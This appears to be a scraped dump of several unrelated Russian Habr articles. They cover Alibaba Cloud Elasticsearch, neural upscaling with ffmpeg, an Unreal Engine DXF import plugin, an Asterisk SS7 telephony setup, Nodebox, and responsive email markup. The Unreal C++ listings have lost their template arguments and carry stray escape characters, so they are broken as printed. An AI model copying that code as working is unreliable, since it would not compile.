Из-за этого нам пришлось для каждого контейнера писать bash-скрипт, например, с именем git:
```
docker exec -it b33aee747c5e git $@
```
Дальше приключение только усложнялось: нам нужно было каким-то образом установить на это ES. Через консоль управления Alibaba Cloud мы поставили образ Elasticsearch 6.0.0 и…
…И через некоторое время начали ловить ошибки. То система контроля доступа X-Pack начнет «ругаться», что через 28 дней у нас истекает лицензия, то закончится оперативная память при индексации каких-то 500 документов. Не «взлетело».
### Проблемы лаоваев
Все это время мы думали, что причина неудачи заключается в X-Pack, что это именно он не дает нам нормально работать.
«Ну что поделать, — сказал заказчик, выслушав нашу версию. — Значит, будем покупать лицензию X-Pack. Пиши в Elasticsearch, может, они сами что-нибудь посоветуют». Я написал в аккаунт-службу, и мне ответил консультант из голландского офиса Дритон Халили (если вам доведется с ним работать — передайте привет от меня, он клевый). Да, Восточной Европой и Россией у них заведует голландский офис, в котором работают турки.
Консультант рассказал мне про систему оплаты лицензии X-Pack и спросил, где мы хостимся.
В Китае, ответил я.
— Это проблема, — огорчился он. — Вашему заказчику надо самому написать в наше китайское отделение, чтобы ему помогли с этой проблемой.
— А еще варианты есть? — спросил я.
— Попробуйте связаться с Alibaba Cloud. Дело в том, что мы с ними недавно заключили партнерское соглашение, и теперь они предоставляют Elasticsearch как сервис.
— Так мы у них и хостимся, — удивился я.
— Тогда зачем вы мучаетесь с контейнером вместо того, чтобы взять у них напрямую?!
Закончив разговор, я пересказал все это заказчику.
— В смысле — у Alibaba есть Elasticsearch as a Service?! — негодованию клиента не было предела. После этого он отправился поговорить с «китайскими коллегами», а на следующий день поведал следующее:
— Эти люди сказали, что я «лаовай», и на моем «лаовайском» аккаунте мне не положено иметь Elasticsearch.
Лаоваями, как нетрудно догадаться, китайцы называют иностранцев, нередко используя это слово с пренебрежительным оттенком. Можно сказать, это такое китайское «понаехавшие».
— Они там пуэра перепили, что ли?
— Не знаю насчет пуэра, но после моей вдохновляющей речи о том, что они несколько не правы и за что я им вообще плачу деньги, мне дали «секретную» ссылку на Elasticsearch, которая теперь будет отображаться у нас в консоли облака. Настраивай и будем переезжать.
### Что делать, чтобы «взлетело»
Недели через три в меню консоли управления появилась ссылка на Alibaba Cloud Elasticsearch (в разделе DTplus, в самом низу).

Из этого можно сделать вывод, что если китайцы все-таки дадут вам ссылку, доступа придется некоторое время подождать (о цене точно сказать не могу, по-моему, стоимость подписки нам это не увеличило).
И еще: вам, конечно же, дадут доступ к настройкам, нормальный URL, Kibana для мониторинга. Только вот при попытке достучаться до ES откуда-то еще вы получите 505.
Как я решал эту проблему?
По умолчанию Elasticsearch у Alibaba Cloud Console доступен только из Kibana и проксирует вызовы с нее на 127.0.0.1 внутри сервера, где расположен сам ES. Тут я задумался: какие IP-адреса у нас внутри между контейнерами? Я вошел в настройки и увидел, что все они у нас крутятся в достаточно привычной подсети 192.168.0.\*. Я не был до конца уверен, поэтому записал себе еще парочку адресов, на случай если не «взлетит».
Также я задумался о том, что будет, если мне самому понадобится отправлять в ES запросы с моего рабочего места, поэтому записал на листочек еще и свой IP-адрес.
Далее нужно проделать следующее.
Заходим в Alibaba Cloud Console, открываем Cluster -> Manage -> Network and Snapshots -> раздел Cluster Network Settings -> пункт Public IP Address Whitelist -> Update. И сохраняем здесь все адреса, которые пригодятся – и личные, и публичные. После этого уже можно работать и стучаться в ES и из контейнеров с приложением, и из других мест.

Переезд занял меньше двух часов. Я, правда, еще неделю испытывал паранойю на тему того, что все может упасть, но пока ничего не упало. Уже три месяца как ни разу не упало.
Итого мы потратили около трех недель на попытку решить проблему, которой нет. Просто китаец очень хитрый и не хочет давать доступ к своим услугам всяким «лаоваям». Для человека с нашим или западным менталитетом это странно, тем не менее, мы справились с этой проблемой, и это был довольно интересный опыт.
Спасибо за внимание! | https://habr.com/ru/post/420927/ | null | ru | null |
# «Тайна третьей планеты» с улучшенной нейросетями графикой
Заметил, что у Хабра есть интерес [к теме улучшения графики](https://habr.com/ru/company/madrobots/blog/448922/) в старых играх.
Я как раз сделал [мод графики для первой готики](https://www.reddit.com/r/GameUpscale/comments/a9ssit/gothic_1_esrgan_project/).
А недавно, решил схожим методом улучшить графику в любимом с детства мультфильме —
"**Тайна третьей планеты**".
Тут [кадры-сравнения](https://imgur.com/a/suKdVR2).
**А ниже результат:**
Расскажите, стоит ли этим заниматься. **Надо ли это кому-то?** Или классику лучше не трогать?
Использовались следующие технологии:
* FFMPEG
* ESRGAN
* Gigapixel AI
А теперь немного о том, как это делалось, ведь мы на }{абре.
Смотрим доступные форматы на ютубе
`youtube-dl -F https://www.youtube.com/watch?v=ИДЕНТИФИКАТОР`
Качаем нужные форматы (аудио и видео)
`youtube-dl -f 11 https://www.youtube.com/watch?v=ИДЕНТИФИКАТОР`
Проверяем фреймрейт файла
`ffprobe -v error -select_streams v -of default=noprint_wrappers=1:nokey=1 -show_entries stream=r_frame_rate input.mp4`
Раскадровка
`ffmpeg -i "input.mp4" -start_number 0 -vf fps=25 "convert/capture-%002d.png"`
Далее [стандартная процедура](https://www.reddit.com/r/GameUpscale/comments/a7msxo/getting_started/) увеличения кадров с помощью нейросети.
Склеивание из png + аудио
* без заданного разрешения `- ffmpeg -framerate 25 -i convert/capture-%002d.png -vb 20M -i audio.webm -vcodec mpeg4 -y "ffmpegtest.mp4"`
* с заданным разрешением `- ffmpeg -framerate 25 -s 900x720 -i convert/capture-%002d.png -vb 20M -i audio.webm -c:v libx264 -pix_fmt yuv420p -crf 23 -y "ffmpegtest3.mp4"` | https://habr.com/ru/post/449024/ | null | ru | null |
# Добавление в Unreal Engine поддержки dxf формата

Здравствуйте меня зовут Дмитрий. Я занимаюсь созданием компьютерных игр на Unreal Engine в качестве хобби. Сегодня расскажу как добавить поддержку dxf файлов в Unreal Engine. (Исходники как всегда в конце статьи).
DXF — это открытый формат векторной графики, разработанный компанией Autodesk. В силу своей открытости этот формат поддерживается огромным количеством редакторов векторной графики.
Итак начнем с создания класса который будет содержать информацию об импортированном файле.
```
UCLASS(BlueprintType)
class DXFPLUGINRUNTIME_API UDXFSketch : public UObject
{
GENERATED_BODY()
public:
#if WITH_EDITORONLY_DATA
UPROPERTY(VisibleAnywhere, Instanced, Category = ImportSettings)
class UAssetImportData* AssetImportData;
virtual void PostInitProperties() override;
#endif // WITH_EDITORONLY_DATA
UPROPERTY(VisibleAnywhere, BlueprintReadOnly)
TArray Layers;
UPROPERTY()
float DXFBackGroundSize;
};
```
Здесь надо заметить что мы добавили в класс объект UAssetImportData этот объект будет содержать информацию о файле исходнике, и нужен для реимпорта ассета. В методе PostInitProperties() создается экземпляр данного класса. Массив объектов FDXFLayer собственно и содержит в себе всю информацию из dxf файла.
Ассет создан теперь нужно для него создать factory класс. Подробней о создании нового ассета можно почитать [в этой статье](https://habrahabr.ru/post/274159/).
```
UCLASS()
class UDXFSketchFactory : public UFactory, public FReimportHandler
{
GENERATED_UCLASS_BODY()
// UFactory interface
virtual UObject* FactoryCreateBinary(UClass* Class, UObject* InParent, FName Name, EObjectFlags Flags, UObject* Context, const TCHAR* Type, const uint8*& Buffer, const uint8* BufferEnd, FFeedbackContext* Warn) override;
virtual bool CanCreateNew() const override;
// End of UFactory interface
// Begin FReimportHandler interface
virtual bool CanReimport(UObject* Obj, TArray& OutFilenames) override;
virtual void SetReimportPaths(UObject\* Obj, const TArray& NewReimportPaths) override;
virtual EReimportResult::Type Reimport(UObject\* Obj) override;
virtual int32 GetPriority() const override;
// End FReimportHandler interface
bool LoadFile(UDXFSketch\* Sketch, const uint8\*& Buffer, const uint8\* BufferEnd);
};
```
Основным отличием factory класса для импортированных ассетов от обычных, заключается в использовании метода FactoryCreateBinary вместо FactoryCreateNew. Этому методу кроме прочих параметров предается ссылка на массив байт (которые явлются импортированным файлом) и указатель на конец этого массива.
И конечно-же конструктор:
```
UDXFSketchFactory::UDXFSketchFactory(const FObjectInitializer& ObjectInitializer) : Super(ObjectInitializer)
{
SupportedClass = UDXFSketch::StaticClass();
Formats.Add(TEXT("dxf;DXF"));
bCreateNew = false;
bEditorImport = true;
}
```
Чтобы файл можно было ре-импортировать необходимо также в базовые классы добавить класс FReimportHandler который добавит метод Reimport.
Назначение метода LoadFile понятно и так. Чтобы не изобретать велосипед для парсинга файла я использовал библиотеку [dxflib](http://www.ribbonsoft.com/) от ribbonsoft.
Ассет теперь импортируется. Но чтобы понять что находится в импортированном файле не плохо бы создать редактор для ассета. (Подробней про создание редактора для ассета можно почитать [здесь](https://habrahabr.ru/post/277515/)). Полностью пересказывать предыдущую статью я не стану просто скажу, что нам нужно создать производный объект от FAssetEditorToolkit в котором мы создадим необходимые для нас вкладки (В данном случае это вкладка вьюпорта, в котором мы будем отрисовывать данные, и вкладка панели свойств). Создание панели свойст уже было рассмотрено. Поэтому поговорим о вьюпорте.
Во вкладке вьюпорт мы создадим объект SDXFEditorViewport
```
class SDXFEditorViewport : public SCompoundWidget
{
public:
SLATE_BEGIN_ARGS(SDXFEditorViewport) { }
SLATE_ARGUMENT(TWeakPtr, CustomEditor)
SLATE\_END\_ARGS()
public:
void Construct( const FArguments& InArgs);
TSharedPtr GetViewport( ) const;
TSharedPtr GetViewportWidget( ) const;
TSharedPtr GetVerticalScrollBar( ) const;
TSharedPtr GetHorizontalScrollBar( ) const;
void UpdateScreen();
protected:
TSharedRef GenerateViewOptionsMenu() const;
private:
// Callback for clicking the View Options menu button.
FReply HandleViewOptionsMenuButtonClicked();
// Callback for the horizontal scroll bar.
void HandleHorizontalScrollBarScrolled( float InScrollOffsetFraction );
// Callback for getting the visibility of the horizontal scroll bar.
EVisibility HandleHorizontalScrollBarVisibility( ) const;
// Callback for the vertical scroll bar.
void HandleVerticalScrollBarScrolled( float InScrollOffsetFraction );
// Callback for getting the visibility of the horizontal scroll bar.
EVisibility HandleVerticalScrollBarVisibility( ) const;
// Callback for clicking an item in the 'Zoom' menu.
void HandleZoomMenuEntryClicked( double ZoomValue );
// Callback for getting the zoom percentage text.
FText HandleZoomPercentageText( ) const;
// Callback for changes in the zoom slider.
void HandleZoomSliderChanged( float NewValue );
// Callback for getting the zoom slider's value.
float HandleZoomSliderValue( ) const;
void HandleLayerActive(int Num);
void HandleAllLayersActive();
private:
// Pointer back to the Asset editor tool that owns us.
TWeakPtr AssetEditor;
// Level viewport client.
TSharedPtr ViewportClient;
// Slate viewport for rendering and IO.
TSharedPtr Viewport;
// Viewport widget.
TSharedPtr ViewportWidget;
// Vertical scrollbar.
TSharedPtr TextureViewportVerticalScrollBar;
// Horizontal scrollbar.
TSharedPtr TextureViewportHorizontalScrollBar;
// Holds the anchor for the view options menu.
TSharedPtr ViewOptionsMenuAnchor;
};
```
Это объект интерфейса он создает все элементы интерфейса (меню ползунки и т.д) кроме того он создает объект FDXFEditorViewportClient в котором собственно и будет происходить отрисовка примитивов загруженных из файла.
```
class FDXFEditorViewportClient: public FViewportClient
{
public:
/** Constructor */
FDXFEditorViewportClient(TWeakPtr InTextureEditor, TWeakPtr InTextureEditorViewport);
/\*\* FViewportClient interface \*/
virtual void Draw(FViewport\* Viewport, FCanvas\* Canvas) override;
virtual bool InputKey(FViewport\* Viewport, int32 ControllerId, FKey Key, EInputEvent Event, float AmountDepressed = 1.0f, bool bGamepad = false) override;
virtual UWorld\* GetWorld() const override { return nullptr; }
/\*\* Returns the ratio of the size of the Texture texture to the size of the viewport \*/
float GetViewportVerticalScrollBarRatio() const;
float GetViewportHorizontalScrollBarRatio() const;
void SetZoom(double ZoomValue);
void ZoomIn();
void ZoomOut();
double GetZoom() const;
DrawVar Vars; //variables for drawning viewport
private:
/\*\* Updates the states of the scrollbars \*/
void UpdateScrollBars();
/\*\* Returns the positions of the scrollbars relative to the Texture textures \*/
FVector2D GetViewportScrollBarPositions() const;
private:
/\*\* Pointer back to the Texture editor tool that owns us \*/
TWeakPtr AssetEditor;
/\*\* Pointer back to the Texture viewport control that owns us \*/
TWeakPtr AssetEditorViewport;
};
```
Собственно редактор создан но есть ещё одна мелочь. В Unreal Engine есть такое понятие как Thumbnail это такая маленькая картинка которая отображается в контент-браузере в место значка ассета. Чтобы создать этот Thumbnail нужно создать обект производный от UThumbnailRenderer.
```
UCLASS()
class UDXFThumbnailRenderer : public UThumbnailRenderer
{
GENERATED_BODY()
// Begin UThumbnailRenderer Object
virtual void GetThumbnailSize(UObject* Object, float Zoom, uint32& OutWidth, uint32& OutHeight) const override;
virtual void Draw(UObject* Object, int32 X, int32 Y, uint32 Width, uint32 Height, FRenderTarget* Viewport, FCanvas* Canvas) override;
// End UThumbnailRenderer Object
};
```
В этом объекте имеется метод Draw который собственно и нарисует Thumbnail. Конечноже после создания этого объекта его нужно зарегистрировать.
```
void FDXFPluginEditor::StartupModule()
{
// Register DXFSketch AssetActions
TSharedRef Action = MakeShareable(new FDXFSketchAssetActions);
IAssetTools& AssetTools = FModuleManager::LoadModuleChecked("AssetTools").Get();
AssetTools.RegisterAssetTypeActions(Action);
CreatedAssetTypeActions.Add(Action);
//Registrate ToolBarCommand for costom graph
FDXFToolBarCommandsCommands::Register();
//Registrate Thumbnail render
UThumbnailManager::Get().RegisterCustomRenderer(UDXFSketch::StaticClass(), UDXFThumbnailRenderer::StaticClass());
}
```
Теперь откуда же запускать рендер Thumbnail? Я в качестве такова места выбрал метод HandleReimportManagerPostReimport обекта FDXFAssetEditor этот метод выполняется после импорта файла:
```
void FDXFAssetEditor::HandleReimportManagerPostReimport(UObject* InObject, bool bSuccess)
{
TArray SelectedObjects;
SelectedObjects.Add(InObject);
AssetData = CastChecked(InObject);
if (bSuccess)
{
PropertyEditor->SetObjects(SelectedObjects);
}
DXFViewport->UpdateScreen();
FThumbnailRenderingInfo\* RenderInfo = GUnrealEd->GetThumbnailManager()->GetRenderingInfo(AssetData);
if (RenderInfo != NULL)
{
RenderInfo->Renderer; //Render Thumbnail
}
}
```

Но как можно использовать импортированный ассет? К сожалению наложить dxf файл в качестве текстуры не получится. Но можно например загрузить точки и использовать их координаты для расстановки объектов. Или создать так называемую SplineMesh и вытянуть её вдоль какой-то линии. Пока что плагин распознает линии, замкнутые контуры и точки (которые получаются если в adobe illustrator кисточкой ткнуть в холст, эти точки представляют из себя сплайны состоящие из 10 точек).
Собственно на этом все. Проект я сделал в виде плагина поэтому чтобы добавить поддержку dxf в ваш проект достаточно создать в его директории папку Plugins и закинуть туда папку DXFPlugin, чтобы увидеть исходники плагина в VS нужно удалить старый файл VS- проекта и сгенерировать новый. (Подробней про плагины можно почитать [здесь](https://habrahabr.ru/post/275239/))
**Проект с исходниками** [здесь](https://cloud.mail.ru/public/8whv/ASpVkj84b) | https://habr.com/ru/post/283554/ | null | ru | null |
# Asterisk chan_ss7 «12 потоков»
#### Задача:
Подключение к Городской Телефонной Станций «ГТС» используя систему сигнализации N7 (Общеканальная сигнализация № 7(ОКС7 или SS7)
#### Решение по этапам:
* Сервер
* Система и софт
* Настройка подключения
* Проблемы и их решения
* Тестирование
##### Сервер:
Про сервер мне мало известно, я все настраивал удаленно и не видел его но все что мне нужно я увидел.
**Проц:**
`[root@ss7 ~]# cat /proc/cpuinfo |grep "model name"
model name : Pentium(R) Dual-Core CPU E5700 @ 3.00GHz
model name : Pentium(R) Dual-Core CPU E5700 @ 3.00GHz`
**Память:**
`[root@ss7 ~]# free -m
total used free shared buffers cached
Mem: 4051 3899 152 0 142 3628
-/+ buffers/cache: 128 3923
Swap: 5247 0 5247`
**Винт:**
2 винта в райде по 250 Гигов, обычные SATA
**Материнская плата:**
Модель и производитель меня не интересовали мне нужно было только знать нет ли USB или ETH на одном прерывание с платами DIGIUM.
`[root@ss7 ~]# cat /proc/interrupts
....
58: 6425 2287054760 IO-APIC-level ata_piix, wct4xxp
74: 2285708690 4349 IO-APIC-level wct4xxp
82: 4161 2285686641 IO-APIC-level wct4xxp
....`
то что одна из плат на одном прерывание с винтом (ata\_piix, wct4xxp) это проблема но все что было предпринято ничего не дало.
**Потоковые платы:**
`[root@ss7 ~]# dahdi_hardware
pci:0000:05:00.0 wct4xxp+ d161:1405 Wildcard TE405P (5th Gen)
pci:0000:05:01.0 wct4xxp+ d161:0405 Wildcard TE405P (4th Gen)
pci:0000:05:02.0 wct4xxp+ d161:0405 Wildcard TE405P (4th Gen)`
Используются 3 платы [DIGIUM TE405](http://www.pbxware.ru/products/digium/digital-cards/te405p) слот PCI.
##### Система и софт
Перед тем как приступить к данной задачи я много искал в интернете какое решение лучше использовать вот список который я нашел:
* [openss7.org](http://www.openss7.org/)
* [Yate SS7](http://yate.null.ro/pmwiki/index.php?n=SS7.HomePage)
* [Freeswitch SS7](http://wiki.freeswitch.org/wiki/Signalling)
* [Asterisk libss7](http://downloads.asterisk.org/pub/telephony/libss7/releases/libss7-1.0.2.tar.gz)
* [Asterisk chan\_ss7](http://www.netfors.com/chan_ss7)
Выбор пал на asterisk и chan\_ss7 он самый простой по моему в настройке и очень хорошо выводит дебуг который очень нужен для таких подключении. Система была поднята на Centos 5.5 далее из sourse было собран [DAHDI](http://downloads.asterisk.org/pub/telephony/dahdi-linux-complete/releases/dahdi-linux-complete-2.4.1.2+2.4.1.tar.gz) и [Asterisk](http://downloads.asterisk.org/pub/telephony/asterisk/releases/asterisk-1.6.2.19.tar.gz) после скачал [сhan\_ss7-2.0.0](http://www.netfors.com/media/download/chan_ss7-2.0.0.tar.gz).
##### Настройка подключения
Потоки были поданы через спец. модемы до сервера, для подключения нужно было только обычный Е1 кабель. Конфиг dahdi:
`[root@ss7 asterisk]# cat /etc/dahdi/system.conf
span=1,1,0,ccs,hdb3,crc4
bchan=1-31
echocanceller=mg2,1-31
span=2,2,0,ccs,hdb3,crc4
bchan=32-62
echocanceller=mg2,32-62
span=3,3,0,ccs,hdb3,crc4
bchan=63-93
echocanceller=mg2,63-93
span=4,4,0,ccs,hdb3,crc4
bchan=94-124
echocanceller=mg2,94-124
span=5,5,0,ccs,hdb3,crc4
bchan=125-155
echocanceller=mg2,125-155
span=6,6,0,ccs,hdb3,crc4
bchan=156-186
echocanceller=mg2,156-186
span=7,7,0,ccs,hdb3,crc4
bchan=187-217
echocanceller=mg2,187-217
span=8,8,0,ccs,hdb3,crc4
bchan=218-248
echocanceller=mg2,218-248
span=9,9,0,ccs,hdb3,crc4
bchan=249-279
echocanceller=mg2,249-279
span=10,10,0,ccs,hdb3,crc4
bchan=280-310
echocanceller=mg2,280-310
span=11,11,0,ccs,hdb3,crc4
bchan=311-341
echocanceller=mg2,311-341
span=12,12,0,ccs,hdb3,crc4
bchan=342-372
echocanceller=mg2,342-372
loadzone = us
defaultzone = us`
Конфиг chan\_ss7:
`[root@ss7 ~]# cat /etc/asterisk/ss7.conf
[linkset-mtc]
enabled => yes
enable_st => yes
use_connect => no
hunting_policy => even_mru
context => ss7
language => ru
t35 => 15000,timeout
subservice => 8
[link-mtcl1]
linkset => mtc
channels => 2-31
schannel => 1
firstcic => 1
enabled => yes
echocancel => allways
echocan_train => 350
echocan_taps => 128
[link-mtcl2]
linkset => mtc
channels => 1-31
schannel =>
firstcic => 33
enabled => yes
echocancel => allways
echocan_train => 350
echocan_taps => 128
[link-mtcl3]
linkset => mtc
channels => 1-31
schannel =>
firstcic => 65
enabled => yes
echocancel => allways
echocan_train => 350
echocan_taps => 128
[link-mtcl4]
linkset => mtc
channels => 1-31
schannel =>
firstcic => 97
enabled => yes
echocancel => allways
echocan_train => 350
echocan_taps => 128
[link-mtcl5]
linkset => mtc
channels => 1-31
schannel =>
firstcic => 129
enabled => yes
echocancel => allways
echocan_train => 350
echocan_taps => 128
[link-mtcl6]
linkset => mtc
channels => 1-31
schannel =>
firstcic => 161
enabled => yes
echocancel => allways
echocan_train => 350
echocan_taps => 128
[link-mtcl7]
linkset => mtc
channels => 1-31
schannel =>
firstcic => 193
enabled => yes
echocancel => allways
echocan_train => 350
echocan_taps => 128
[link-mtcl8]
linkset => mtc
channels => 1-31
schannel =>
firstcic => 225
enabled => yes
echocancel => allways
echocan_train => 350
echocan_taps => 128
[link-mtcl9]
linkset => mtc
channels => 1-31
schannel =>
firstcic => 257
enabled => yes
echocancel => allways
echocan_train => 350
echocan_taps => 128
[link-mtcl10]
linkset => mtc
channels => 1-31
schannel =>
firstcic => 289
enabled => yes
echocancel => allways
echocan_train => 350
echocan_taps => 128
[link-mtcl11]
linkset => mtc
channels => 1-31
schannel =>
firstcic => 321
enabled => yes
echocancel => allways
echocan_train => 350
echocan_taps => 128
[link-mtcl12]
linkset => mtc
channels => 1-31
schannel =>
firstcic => 353
enabled => yes
echocancel => allways
echocan_train => 350
echocan_taps => 128
[host-ss7.host.ru]
enabled => yes
opc => 0x62
dpc => mtc:0x0d
links => mtcl1:1,mtcl2:2,mtcl3:3,mtcl4:4,mtcl5:5,mtcl6:6,mtcl7:7,mtcl8:8,mtcl9:9,mtcl10:10,mtcl11:11,mtcl12:12`
##### Проблемы и их решения
1) Порядок подключения потоков (физически):
При подключение физических линков надо синхронно втыкать их в порт 1 ГТС — 1 DIGUM, 2 -2… это была первая проблема потому что потоки сначала включили как попало.
2) CRC4 — ГТС на 3 день настроек сказал что у них CRC4 выключен когда на DIGIUM у меня они были включены и влияли на работу сигнального канала. Не знаю как вышло думаю что это и за модемов поэтому попросил ГТС включить CRC4.
Лог: `[May 24 11:46:48] NOTICE[6229] mtp.c: Failover not possible, no other signalling link and no other host available.
[May 24 11:46:48] WARNING[6229] chan_ss7.c: MTP is now DOWN on link 'mtcl1'.
[May 24 11:46:50] WARNING[6229] chan_ss7.c: MTP is now UP on link 'mtcl1'.
[May 24 11:46:50] NOTICE[6229] mtp.c: Sending TRA to peer on link 'mtcl1'....`
3) При подключение более одного потока используется обычно всего один сигнальный линк тот что в первом потоке для этого выделен. Поэтому у меня в настройках link-mtcl1 указан schannel => 1 и голосовые каналы от 2 до 31 а остальные потоки используют для голоса от 1 до 31(все).
##### Тестирование
Проверка статуса сигнального линка:
`*CLI> ss7 link status
linkset mtc, link mtcl1/1 INSERVICE, sls 0, total: 3173888, 3173904`
Проверка статуса каналов:
`ss7*CLI> ss7 show channels
Linkset: mtc
CIC 2 Idle
CIC 3 Idle
CIC 4 Idle
.
.
.
CIC 382 Idle
CIC 383 Idle`
Максимальное количество каналов которую я успел поймать:
`root@ss7 ~]# asterisk -rx "core show channels"
….
1069 active channels
362 active calls`
P.S. Если нужны подробности по настройке или помощь пишите :) | https://habr.com/ru/post/124325/ | null | ru | null |
# Nodebox

На хабре поднималась [тема](http://habrahabr.ru/blogs/apple/24970/) об этой программе, но раскрыта тема была скудно. Я попытаюсь показать внутреннее устройство программы, а также в конце обзора будет бонус :) Под катом много картинок, но не очень тяжелых.
С [сайта](http://nodebox.net/code/index.php/Home) программы возьмем ее описание *«Nodebox программа, которая позволяет создавать 2D визуализацию (статичную, анимированную и интерактивную) с помощью языка программирования Python и, в последствии, экспортировать ее в форматы PDF и QuickTime»*. Программа абсолютна бесплатна, отлично [документирована](http://nodebox.net/code/index.php/Reference). Есть множество [уроков](http://nodebox.net/code/index.php/Tutorial) «от простого к сложному». Единственный минус — она только на Mac. Давайте её уже [скачаем](http://nodebox.net/download/NodeBox-1.9.5.zip) и посмотрим, чем она может удивить нас :)
Открываем смотрим интерфейс. Как и ожидалось чистый минимал, как в [Processing](http://processing.org/).

Конечно, весь смак программы в языке, код в разы будет меньше чем в том же процессинге со своей явой. К примеру, рисуем круг:
`size (100, 100) #Задаем размеры фона
fill(0.2) #Делаем заливку кругу
oval(10, 20, 40, 40) #Круг`
А благодря подключаемым [плагинам](http://nodebox.net/code/index.php/Library), мы можем реально разогнать его. Хотелось бы привести самые популярные плагины.
##### SVG
Из названия, я думаю, сразу понятно становиться, что плагин позволяет подгружать в код SVG-файлы. На уровне кода можно менять цвета, прозрачность, работать с кривыми и точками. Хочу на примере того как я рисовал флаер, показать как он работает. Была задача нарисовать флаер для вечеринки с тематикой Лондона. Идем в гугл ищем картинки, которые ассоциируются с Лондоном. Все это дело кидаем в иллюстратор, переводим в вектор и сохраняем в SVG.

Далее мне надо было простой рандомный разброс по «холсту». К сожалению, исходников тех не сохранилось и поэтому я покажу простой код, на основе примеров.

Далее наигравшись с рандомом и выбрав нужный вариант, экспортируем это в нужный нам формат. Nodebox не одним PDF един :)

Я выбираю EPS, кидаю в люстру и уже там разгрупировав могучую кучку объектов могу рулить отдельными объектами. В итоге проведя со всем изображениями такие манипуляции я получил вот такой флаер.

Вообщем очень нужный и важный плагин, заинтересовались? Прошу [сюда](http://nodebox.net/code/index.php/SVG).
##### Core Image
Самый мощный плагин, я считаю. Так сказать Adobe® Photoshop®™ (вынужден его так называть в [свете](http://seqw0.habrahabr.ru/blog/88133/) последних событий :) командной строкой. Плагин позволяет производить различные манипуляции с изображениями, почти все фильтры фотожопа можно реализовать с помощью этого плагина. Сие чудо работает через [Core Image](http://en.wikipedia.org/wiki/Core_Image), а значит на аппаратном ускорении. Плагин позволяет создавать слои, а если сохранить в TIFF соответсвенно сохранится иерархия. Может регулировать яркость, контраст, насыщение. Работает со смешиванием в слоях. Пример применения фильтра Triangle Tile (всего 2 строки!):

`l = c.append("lily.tif")
l.filter("triangletile", dx=-30, dy=-30, width=40)`
Очень много чего умеет, [тут](http://nodebox.net/code/index.php/Core_Image) можно скачать и почитать подробней.
##### Supershape
[Плагин](http://nodebox.net/code/index.php/Supershape), позволяющий, реализовать формулы суперформ [Johan Gielis](http://en.wikipedia.org/wiki/Superformula). Можно к примеру написать хабр вот так:

Или санимировать суперформу:

Вообщем там куча плагинов и они еще добавляются. Жаль программа не получила широкого резонанса, коммюнити слабое. Приведу пример пары иллюстраций созданных в Nodebox, все остальное [тут](http://nodebox.net/code/index.php/Gallery):


Вот как-то так. А теперь бонус! :)
#### Nodebox 2

Программа пока находится в бета-тестировании. В программе изменилась сама модель написания. Теперь это работа с модулями. Пока не ясно, что именно будет реализованно в программе. Самый приятный момент, что программа теперь идет на винде и чуть-чуть на линуксе :) Давайте на примере урока попробуем понять как теперь с ней работать.
При создании проекта мы видим чистый интерфейс

Окна распределяются следующим образом

Правой кнопкой щелкаем на поле Network

Выбираем из меню New node


Ищем Rect в списке и добавляем его. Теперь он на сцене, мы можем менять его параметры

Следующим шагом добавляем модуль Wiggle, и соединяем Rect c Wiggle.

Теперь мы можем наблюдать следующее (смотря кто как эксперементирует)

Дальше добавляем Place, это как бы рендер то что на выходе получиться. При присоединение к этому модулю, он спрашивает вас в качестве чего подцепить к нему, надо выбирать Shape ибо мы добавляем фигуру.

Добавляем модуль Grid, когда соединяем, выбираем Template, как бы шаблон для рендера.

И в итоге на выходе имеем PROFIT!

Проект опен-сорс, проект интересный, коммьюнити по-тихому собирается. Интересно будет увидеть мастистых программистов на питоне с их экспериментами. Совсем запыхался и не дал ссылку на скачивание, [вот](http://beta.nodebox.net/download)! Спасибо [LLIAMAH](http://lliamah.habrahabr.ru/), что напомнил.
*ЗЫ. Я знаю, что у меня проблемы с русским, что я совершаю орфографические, пунктационные и лексические ошибки. Но очень прошу вас не указывайте на ошибки в комментариях, пишите в личку, буду править, а то как начнется… В итоге тред будет учителей русского языка :)* | https://habr.com/ru/post/88951/ | null | ru | null |
# По-настоящему адаптивные письма. Часть… снова первая

[Первый пост](http://habrahabr.ru/post/261455/) был написан скорей на эмоциях. Метод Николь мне показался местами несостоятельным и громоздким, но стоит признать, что он во многом превосходит мои наработки и отныне я с удовольствием перенимаю ее приемы. Тем не менее Николь сделала легкие огрехи, которые я исправил. Также я убираю лишний мусор и экспериментирую с универсальными решениями для типичных задач при верстке.
К чему мы приходим:
— Использование внешних стилей и последующий прогон кода через [инлайнер](http://inliner.cm/). Из-за усложнения кода это стало целесообразным
— Улучшение семантики через именование классов и сокращение участков кода
— Частичная поддержка the Bat! Хотя Николь на него забила.
— Полная поддержка всех мобильных почтовых клиентов
— Использование ранее опасных конструкций. Благодаря усердному тестированию проблемы решены.
Обертка
-------
Давайте обрисуем новую обертку письма([Github](https://github.com/dudeonthehorse/Email/blob/master/snippets/layout.html)):
**Скрытый текст**
```
body {
margin:0;
}
/\* здесь будут общие стили нашего письма \*/
.content {
background-color:#ffffff;
padding:30px;
}
.newsletter {
margin: 0 auto;
max-width: 600px;
}
.wrapper {
width: 100%;
background-color:#f4f4f4;
table-layout: fixed;
-webkit-text-size-adjust: 100%;
-ms-text-size-adjust: 100%;
}
@media only screen and (max-width: 400px) {
/\* причесываем верстку на малых мобильных экранах \*/
}
@media screen and (min-width: 401px) and (max-width: 600px) {
/\* причесываем верстку на средних мобильных экранах \*/
}
@media screen and (min-width: 600px) {
.newsletter { width:600px !important; }
}
| |
| --- |
|
контент письма
|
```
А теперь я расскажу что в ней и как:
— В первую очередь стоит отметить, что нам не нужны doctype, head и body. Без доктайпа поведение писем аналогично везде и не приносит сюрпризов. Head просто бесполезен. Ну а body все равно будет вырезан большинством почтовых вебморд. Именно по этой причине мы не задаем общий фон письма через body.
— Блок .wrapper является общей оберткой с указанием цвета фона, посему задаем ему фон и несколько css свойств для избежания непредсказуемого поведения.
— Таблица .newsletter — непосредственно отцентрированное письмо. Для его родителя .wrapper мы указали значение center для атрибута align, чтобы в yahoo mail наша таблица была отцентрирована. Стоит понимать, что в будушем для выравнивания любых таблиц необходимо оборачивать их дивами с указанным выравниванием. При этом не забываем указывать выравнивание для самой таблицы. Для .newsletter мы указали ширину в 100% через инлайн для верности, при этом указали max-width:600px для получения адаптивности. Но это свойство не работает в аутлуке и в the bat! Для решения проблемы с аутлуком мы нарисовали дополнительную таблицу, которая является родителем нашего .newsletter.
— Ячейка .content уже является частью письма. Для нее мы указали background-color:#ffffff в сss для задания белого фона письма в отличие от серого фона подложки. Мы явно указали width:600px !important; для решения проблемы the bat!, который не поддерживает max-width, получив 600px ширину письма в бате.

